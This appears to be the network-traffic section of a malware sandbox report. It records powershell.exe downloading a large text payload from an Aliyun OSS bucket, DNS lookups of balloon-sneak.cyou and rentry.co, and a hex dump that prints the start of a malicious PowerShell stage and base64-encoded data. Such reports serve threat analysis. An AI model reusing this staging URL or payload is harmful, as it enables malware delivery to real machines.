Nov 29, 2024 15:46:03.032558918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.036757946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.036773920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.036839962 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.036848068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.040601015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.041946888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.041960955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.042013884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.042023897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.042038918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.042064905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.047144890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.047168016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.047205925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.047214031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.047244072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.047269106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.052658081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.052674055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.052737951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.052746058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.056699038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.057588100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.057604074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.057656050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.057663918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.060514927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.231194973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.231228113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.231276035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.231290102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.231302977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.231329918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.236440897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.236458063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.236537933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.236546040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.240691900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.241274118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.241297960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.241333961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.241339922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.241359949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.241375923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.246937037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.246952057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.247005939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.247013092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.248543978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.252413034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.252428055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.252485037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.252492905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.256622076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.257559061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.257575035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.257612944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.257622957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.257656097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.257682085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.263127089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.263149977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.263180971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.263187885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.263205051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.263228893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.267985106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.268002033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.268074989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.268081903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.268745899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.441852093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.441873074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.441957951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.441967010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.441982031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.442008018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.447005033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.447024107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.447073936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.447081089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.447113037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.447182894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.452011108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.452027082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.452099085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.452106953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.452239990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.457498074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.457515955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.457556009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.457564116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.457593918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.457608938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.462944984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.462961912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.463022947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.463031054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.464641094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.468192101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.468209028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.468274117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.468281984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.468319893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.473745108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.473761082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.473824978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.473830938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.476675034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.478559017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.478574991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.478630066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.478638887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.480184078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.480190992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.652549028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.652568102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.652648926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.652662992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.652791977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.657612085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.657628059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.657684088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.657692909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.657733917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.663279057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.663294077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.663379908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.663388014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.664511919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.668083906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.668100119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.668154955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.668163061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.668533087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.673531055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.673544884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.673594952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.673602104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.676799059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.679127932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.679143906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.679193974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.679200888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.680619001 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.684304953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.684319973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.684371948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.684381008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.684446096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.690979004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.691068888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.691086054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.691154957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.691160917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.691237926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.703198910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.929112911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.929128885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.929162025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.929205894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.929222107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.929256916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.929280996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.934928894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.934946060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.935012102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.935022116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.936703920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.939682961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.939699888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.939779997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.939786911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.940690041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.945321083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.945337057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.945404053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.945411921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.946141005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.950799942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.950835943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.950896978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.950905085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.950948000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.955655098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.955672026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.955743074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.955749989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.956238031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.956250906 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.961353064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.961368084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:03.961431980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:03.961440086 CET	443	49704	149.129.12.34	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 15:45:04.905622959 CET	192.168.2.5	1.1.1.1	0x7b40	Standard query (0)	sandisk2.oss-ap-northeast-2.aliyuncs.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 15:47:12.207746029 CET	192.168.2.5	1.1.1.1	0x249f	Standard query (0)	balloon-sneak.cyou	A (IP address)	IN (0x0001)	false
Nov 29, 2024 15:47:49.567055941 CET	192.168.2.5	1.1.1.1	0x94f5	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 15:45:05.204209089 CET	1.1.1.1	192.168.2.5	0x7b40	No error (0)	sandisk2.oss-ap-northeast-2.aliyuncs.com	149.129.12.34	A (IP address)	IN (0x0001)	false
Nov 29, 2024 15:47:12.351428032 CET	1.1.1.1	192.168.2.5	0x249f	No error (0)	balloon-sneak.cyou	172.67.170.85	A (IP address)	IN (0x0001)	false
Nov 29, 2024 15:47:12.351428032 CET	1.1.1.1	192.168.2.5	0x249f	No error (0)	balloon-sneak.cyou	104.21.55.29	A (IP address)	IN (0x0001)	false
Nov 29, 2024 15:47:49.705734015 CET	1.1.1.1	192.168.2.5	0x94f5	No error (0)	rentry.co	104.26.3.16	A (IP address)	IN (0x0001)	false
Nov 29, 2024 15:47:49.705734015 CET	1.1.1.1	192.168.2.5	0x94f5	No error (0)	rentry.co	104.26.2.16	A (IP address)	IN (0x0001)	false
Nov 29, 2024 15:47:49.705734015 CET	1.1.1.1	192.168.2.5	0x94f5	No error (0)	rentry.co	172.67.75.40	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	149.129.12.34	443	1352	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:45:07 UTC	197	OUT	GET /bUAmCazc.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: sandisk2.oss-ap-northeast-2.aliyuncs.com Connection: Keep-Alive
2024-11-29 14:45:08 UTC	571	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 29 Nov 2024 14:45:07 GMT Content-Type: text/plain Content-Length: 35869954 Connection: close Vary: Accept-Encoding x-oss-request-id: 6749D373914FF9313488CF38 Accept-Ranges: bytes ETag: "FA478F449DEC7D97732BF290FD92B7BC" Last-Modified: Tue, 26 Nov 2024 15:20:46 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9178714831115046569 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: +kePRJ3sfZdzK/KQ/ZK3vA== x-oss-server-time: 2
2024-11-29 14:45:08 UTC	15813	IN	Data Raw: 0d 0a 20 20 20 20 24 44 6a 58 74 72 76 6d 77 20 3d 20 22 53 74 6f 70 22 0d 0a 20 20 20 20 53 65 74 2d 4c 6f 63 61 74 69 6f 6e 20 24 45 6e 76 3a 41 70 70 44 61 74 61 0d 0a 20 20 20 20 24 68 50 5a 46 75 63 79 79 20 3d 20 22 24 45 6e 76 3a 41 70 70 44 61 74 61 5c 46 65 47 49 50 43 6e 4b 22 0d 0a 20 20 20 20 69 66 20 28 54 65 73 74 2d 50 61 74 68 20 24 68 50 5a 46 75 63 79 79 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 54 65 73 74 2d 50 61 74 68 20 22 24 45 6e 76 3a 41 70 70 44 61 74 61 5c 68 75 68 72 55 78 4c 68 2e 74 78 74 22 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 52 65 6d 6f 76 65 2d 49 74 65 6d 20 22 24 45 6e 76 3a 41 70 70 44 61 74 61 5c 68 75 68 72 55 78 4c 68 2e 74 78 74 22 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 Data Ascii: $DjXtrvmw = "Stop" Set-Location $Env:AppData $hPZFucyy = "$Env:AppData\FeGIPCnK" if (Test-Path $hPZFucyy) { if (Test-Path "$Env:AppData\huhrUxLh.txt") { Remove-Item "$Env:AppData\huhrUxLh.txt" }
2024-11-29 14:45:08 UTC	16384	IN	Data Raw: 4f 57 37 72 63 66 6d 2b 69 62 38 69 6a 73 38 6f 6d 56 32 36 79 50 58 46 7a 55 6e 32 35 30 64 54 67 49 73 32 37 38 5a 59 4c 4c 2f 53 49 44 50 58 70 63 43 52 4b 53 56 41 4b 4f 57 66 77 64 6f 2b 6a 6c 68 38 74 36 65 69 48 68 50 52 70 50 43 48 30 65 52 42 77 34 66 54 71 37 33 4b 39 38 32 36 78 54 6e 4a 6e 4f 58 5a 39 37 53 4d 62 56 37 5a 31 74 33 65 30 79 52 66 4a 30 38 65 64 4f 67 5a 48 54 5a 34 4b 4d 72 6a 72 64 6d 72 44 76 78 7a 4d 72 2f 41 48 44 6b 2b 51 72 44 71 76 7a 71 79 54 4d 65 58 76 38 5a 50 71 76 31 6b 56 68 66 2b 47 61 63 6e 2b 65 48 56 61 6d 30 6a 6b 78 4f 78 35 2f 70 73 65 4e 64 75 2f 77 41 50 6e 4a 39 43 48 42 34 30 45 53 41 6d 68 47 76 4e 6c 64 32 4f 45 37 67 7a 41 37 5a 4e 68 48 32 39 62 66 34 61 6c 30 66 61 71 4d 37 38 50 73 4d 33 33 2f 4d Data Ascii: OW7rcfm+ib8ijs8omV26yPXFzUn250dTgIs278ZYLL/SIDPXpcCRKSVAKOWfwdo+jlh8t6eiHhPRpPCH0eRBw4fTq73K9826xTnJnOXZ97SMbV7Z1t3e0yRfJ08edOgZHTZ4KMrjrdmrDvxzMr/AHDk+QrDqvzqyTMeXv8ZPqv1kVhf+Gacn+eHVam0jkxOx5/pseNdu/wAPnJ9CHB40ESAmhGvNld2OE7gzA7ZNhH29bf4al0faqM78PsM33/M
2024-11-29 14:45:08 UTC	16384	IN	Data Raw: 72 79 45 45 48 62 76 41 6e 2f 4c 2f 6a 53 55 66 32 35 2b 61 39 5a 36 52 7a 46 4a 34 45 2f 4d 61 30 5a 7a 2f 62 66 2f 79 32 2f 74 72 6c 77 42 65 51 48 34 4d 48 69 30 45 2b 55 71 6a 63 2f 34 35 30 33 6a 55 49 36 31 4d 47 4a 41 49 69 54 46 34 4d 53 4b 43 71 55 6d 33 45 73 34 6e 55 64 78 70 74 4e 65 4d 65 44 79 56 6a 71 76 67 71 30 65 36 55 77 2b 7a 30 54 4a 6c 53 4f 56 47 66 50 39 65 44 58 61 4a 76 57 34 72 2b 6b 51 6e 49 2b 68 41 74 47 79 6f 43 59 4f 57 33 4b 65 57 71 79 6e 56 53 69 37 64 57 4a 32 38 34 54 46 61 49 70 36 2b 74 65 58 6b 44 71 32 4a 51 61 43 4c 33 47 73 51 69 64 6e 50 55 52 7a 71 53 75 41 6f 4e 62 41 78 51 70 32 56 2f 77 69 79 2f 6d 61 70 73 6b 43 71 38 62 63 2f 4b 2f 45 35 47 2b 5a 4a 45 45 51 31 72 52 6e 32 30 4f 45 47 50 6c 67 6f 73 4f 45 Data Ascii: ryEEHbvAn/L/jSUf25+a9Z6RzFJ4E/Ma0Zz/bf/y2/trlwBeQH4MHi0E+Uqjc/4503jUI61MGJAIiTF4MSKCqUm3Es4nUdxptNeMeDyVjqvgq0e6Uw+z0TJlSOVGfP9eDXaJvW4r+kQnI+hAtGyoCYOW3KeWqynVSi7dWJ284TFaIp6+teXkDq2JQaCL3GsQidnPURzqSuAoNbAxQp2V/wiy/mapskCq8bc/K/E5G+ZJEEQ1rRn20OEGPlgosOE
2024-11-29 14:45:08 UTC	16384	IN	Data Raw: 6d 2f 6c 39 6c 42 36 63 4b 33 74 64 64 37 34 2b 78 74 35 4f 37 35 6c 37 46 58 66 2b 6b 77 51 6a 4a 61 59 7a 4a 78 65 41 62 74 47 73 78 32 66 50 6c 39 79 4e 77 35 37 6f 32 62 38 34 78 51 74 6e 2f 37 68 37 70 37 6c 67 39 67 43 32 64 4d 63 31 48 64 44 62 32 39 46 6e 35 4b 6f 4d 76 6f 35 6b 62 53 48 4e 48 56 64 34 46 64 75 6b 53 66 52 51 6b 76 77 32 7a 6e 5a 39 6c 65 37 72 4f 68 6a 42 62 72 50 56 44 52 76 2b 66 49 63 57 74 7a 52 76 66 66 78 53 65 57 6c 39 69 66 43 58 43 67 54 6c 2f 61 56 2b 63 57 58 4f 74 66 51 51 76 30 78 36 52 64 69 68 4b 33 6e 64 46 52 33 57 43 54 79 7a 6e 31 74 50 6e 41 35 34 43 62 39 45 47 61 6a 36 74 47 52 65 39 59 70 4f 76 53 72 55 57 38 63 6f 70 55 71 4c 68 4c 76 57 72 33 47 50 78 2f 37 6c 4c 55 37 4b 4f 56 75 32 45 75 37 6f 64 6e 7a Data Ascii: m/l9lB6cK3tdd74+xt5O75l7FXf+kwQjJaYzJxeAbtGsx2fPl9yNw57o2b84xQtn/7h7p7lg9gC2dMc1HdDb29Fn5KoMvo5kbSHNHVd4FdukSfRQkvw2znZ9le7rOhjBbrPVDRv+fIcWtzRvffxSeWl9ifCXCgTl/aV+cWXOtfQQv0x6RdihK3ndFR3WCTyzn1tPnA54Cb9EGaj6tGRe9YpOvSrUW8copUqLhLvWr3GPx/7lLU7KOVu2Eu7odnz
2024-11-29 14:45:08 UTC	16384	IN	Data Raw: 61 79 31 38 79 4a 63 34 61 6a 69 69 36 2b 50 6f 57 6f 4e 32 71 53 75 6e 53 35 36 31 6c 49 6e 6e 77 33 65 43 35 75 59 6f 69 57 79 48 42 70 65 6d 6e 39 58 69 67 41 6c 53 77 55 78 69 54 4d 5a 32 33 67 42 47 49 76 30 31 4c 72 6d 4d 74 72 71 59 70 4e 6c 70 46 2f 56 75 4e 35 74 66 6a 73 33 58 73 63 2b 75 6b 6a 51 36 4d 72 4e 4b 67 53 4e 2f 4f 71 33 43 35 55 73 6c 6f 34 39 43 31 43 56 49 6f 5a 35 31 38 61 6f 43 65 77 4d 2b 48 35 7a 71 6c 4f 41 78 31 33 44 62 6b 56 55 36 58 57 2b 2b 33 4d 50 41 66 46 6e 57 63 64 45 76 73 59 79 33 66 58 39 2b 53 58 46 4e 61 69 76 2f 4d 78 31 76 58 39 64 79 56 4a 33 50 62 56 4d 4c 66 37 32 35 4c 4a 6f 79 65 48 75 4c 37 5a 79 36 52 63 4f 66 61 7a 6f 45 74 55 7a 30 6c 67 71 4b 71 42 53 44 71 47 49 4d 55 70 64 5a 79 4c 39 75 67 30 4b Data Ascii: ay18yJc4ajii6+PoWoN2qSunS561lInnw3eC5uYoiWyHBpemn9XigAlSwUxiTMZ23gBGIv01LrmMtrqYpNlpF/VuN5tfjs3Xsc+ukjQ6MrNKgSN/Oq3C5Uslo49C1CVIoZ518aoCewM+H5zqlOAx13DbkVU6XW++3MPAfFnWcdEvsYy3fX9+SXFNaiv/Mx1vX9dyVJ3PbVMLf725LJoyeHuL7Zy6RcOfazoEtUz0lgqKqBSDqGIMUpdZyL9ug0K
2024-11-29 14:45:08 UTC	16384	IN	Data Raw: 35 76 4e 62 6a 53 57 37 44 31 4a 54 65 6f 58 46 4d 34 70 74 4d 56 73 49 6d 64 30 6c 74 44 47 2f 43 6c 4c 41 6d 74 2f 70 44 77 65 44 30 4b 44 4f 42 41 71 70 2f 68 75 49 39 76 4e 37 33 6c 77 55 4b 62 6f 35 37 6d 6c 4c 42 32 36 4c 7a 72 74 68 4b 33 55 68 69 58 55 68 67 49 68 44 2f 52 4c 4a 71 2f 6e 4d 30 42 72 42 46 45 79 78 61 50 36 77 64 51 6d 45 6f 57 54 76 54 33 38 56 61 46 2f 75 39 4f 56 56 45 63 44 4e 73 38 2f 61 34 62 72 70 33 65 45 73 73 62 77 72 42 48 4d 6d 42 62 6b 52 71 58 51 74 53 7a 53 4e 30 57 57 75 45 50 4b 58 6a 34 44 4b 78 68 39 55 32 51 61 37 2f 54 57 53 68 75 4b 6a 69 64 54 65 4e 73 33 66 6b 61 42 47 58 52 71 48 57 38 6e 45 71 74 5a 72 51 63 52 30 2f 31 43 4a 54 38 33 6d 74 6b 7a 63 39 65 35 46 4b 78 2f 58 62 48 30 33 6c 79 36 4d 41 51 48 Data Ascii: 